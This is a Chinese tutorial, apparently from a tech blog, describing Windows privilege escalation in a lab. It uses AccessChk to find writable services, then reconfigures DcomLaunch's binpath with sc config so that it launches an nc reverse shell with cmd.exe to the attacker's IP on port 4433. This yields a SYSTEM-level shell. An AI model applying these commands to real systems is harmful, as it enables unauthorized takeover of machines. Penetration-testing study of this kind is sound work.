在Windows低权限下利用服务进行提权

先介绍下一个工具---------->AccessChk

AccessChk是Sysinternals中的小工具,推荐用3.0版本的,新版存在一些bug。

利用这个工具用来检查用户和用户组对文件,目录,注册表项,全局对象和系统服务的权限,在实际配置权限过程中,如果权限设置不当,那么win服务就可能被用于提权

 

AccessChk的具体介绍可以看这:http://blog.51cto.com/rangercyh/497497

这里我只对要使用的功能选项进行说明

 

第一次运行会出现一个许可弹窗,可以执行   accesschk.exe /accepteula   来避免弹窗

 

实验环境 :

靶机: win2003 sp2     IP:192.168.193.130            

攻击机: win7               IP:192.168.193.131

 

在靶机上添加一个simeon用户并加入到Power User组中

然后执行命令  accesschk.exe -uwcqv "Power Users" *

来显示Power User组可以操作的服务名称信息

-u :抑制错误

-w:仅显示具有写访问权限的对象

-c:显示服务名称,输入* 用户与显示所有服务

-q:省略标识

-v:冗长(包括WINDOUWS VISTA完整性级别)

在Windows低权限下利用服务进行提权_第1张图片

前面的RW表示有读写权限,其中服务名称为“DcomLaunch”和“kdc”服务可以被simeon用户操作

 

这里我选“DcomLaunch” 进行测试

 然后使用“sc qc DcomLaunch”命令查询DcomLaunch的详细信息

在Windows低权限下利用服务进行提权_第2张图片

可以看到是以系统权限运行的

 

然后我们在看下是否启动了    net start | find "DCOM Server Process Launcher"     

 

说明服务是启动的

 

然后在获取这个服务名称提供的服务

运行 tasklist /svc  找到对应服务

在Windows低权限下利用服务进行提权_第3张图片

 

接下来就是修改服务并获取系统权限

这里我们还要配置使用nc反弹shell到我的攻击机上

我们把nc放到c:\windows\temp目录下

使用sc对服务进行修改

sc config DcomLaunch binpath= "C:\windows\temp\nc.exe" -nv 192.168.193.131 4433 -e  "C:\WINDOWS\system32\cmd.exe"

*注意binpath=后面一定要有个空格

我们在查询下服务

在Windows低权限下利用服务进行提权_第4张图片

在执行

obj:指定运行服务将使用的帐户名,或指定运行驱动程序将使用的 Windows 驱动程序对象名。默认设置为 LocalSystem。

password:指定一个密码。如果使用了非 LocalSystem 的帐户,则此项是必需的。

 

最后使用 net start DcomLaunch 命令重启这个服务

 

攻击机上用nc进行监听4433即可得到反弹的shell

在Windows低权限下利用服务进行提权_第5张图片

你可能感兴趣的:(技术分享)